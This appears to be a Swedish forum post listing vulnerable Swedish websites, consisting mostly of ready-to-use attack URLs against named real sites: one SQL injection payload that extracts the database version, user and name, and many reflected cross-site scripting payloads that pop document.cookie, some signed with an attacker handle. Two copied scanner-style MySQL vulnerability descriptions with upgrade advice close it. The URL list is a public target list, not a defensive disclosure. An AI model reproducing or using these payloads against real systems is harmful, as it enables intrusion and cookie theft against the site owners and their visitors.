Samling av sidor med säkerhetsbrister - Del 2

http://www.gggames.se/review.php?id=09+and+1=0+union+all+select+0,1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,  8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

http://bilder.alltinggratis.se/search.php?query=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.genealogi.se/avrattade/search.php?search=%22%3E%3Cscript%3Ealert%28%27xss%20by%20the%20invalid-socket%27%29%3C/script%3E

http://www.stureplan.se/search.php?search_string=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.sparvagssallskapet.se/svenska/search.php?PHPSESSID=38efceaa767beee3abdef687538a7d5f&cx=partner-pub-2072259380623449%3Aovpxvy-8hz3&cof=FORID%3A11&ie=ISO-8859-1&q=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&sa=S%F6k#454

http://www.dinrabattkod.se/search.php?sq=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&x=21&y=10

http://gnorpen.com/index.php?search=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.rofab.se/search.php?search_string=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=S%D6K%21

http://www.discshop.se/shop/search_qs.php?ref=&subsite=movies&lang=se&soktext=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&x=9&y=9&sok_typ=titel

http://www.gatbilar.se/search.php?actionMain=search&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=Skicka&searchRadio=1&keywords=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&x=19&y=13

http://www.tjanstefolk.se/search.php?keyword=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.svenskpress.se/search.php?s_phrase=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&s_type=1&searchsubmit=S%F6k&s_category=x&s_geo=x&s_writer=5069&s_photog=x&sorting_art=a.published&sorting_pho=a.published&sorting_dir=DESC&p_sida=1&p_sort=0&a_sida=1&a_sort=0

http://villaportaler.se/search_result.php?search_string=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscri  pt%3E&x=15&y=11

http://www.spelratter.se/search.php?free=invalid-socket%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&name=&sale=sale

MySQL Enterprise Server v.5.0.52 Multiple Vulnerabilities
Vulnerability description
The MySQL Enterprise Server is affected by multiple vulnerabilities. 
1. Using RENAME TABLE against a table with explicit DATA DIRECTORY and INDEX DIRECTORY options can be used to overwrite system table information. 
2. ALTER VIEW retained the original DEFINER value, even when altered by another user, which could allow that user to gain the access rights of the view. 
3. When using a FEDERATED table, the local server can be forced to crash if the remote server returns a result with fewer columns than expected.

Affected items
Server 

The impact of this vulnerability
Abuse of functionality: an attacker uses server's features and functionality to consume, defraud, or circumvents access controls mechanisms. 

How to fix this vulnerability
Upgrade the MySQL Enterprise Server tot the latest version.

MySQL Community Server Symlink Attack Vulnerability

Vulnerability description
The MySQL Community Server installed on the remote host fails to check whether a file to which a symlink points exists when using RENAME TABLE against a table with explicit DATA DIRECTORY and INDEX DIRECTORY options. A local attacker can overwrite system table information by replacing the file to which the symlink points. 

Affected items
Server 

The impact of this vulnerability
A local attacker can overwrite system table information by replacing the file to which the symlink points. 

How to fix this vulnerability
Upgrade to MySQL Community Server version 5.0.51 or later.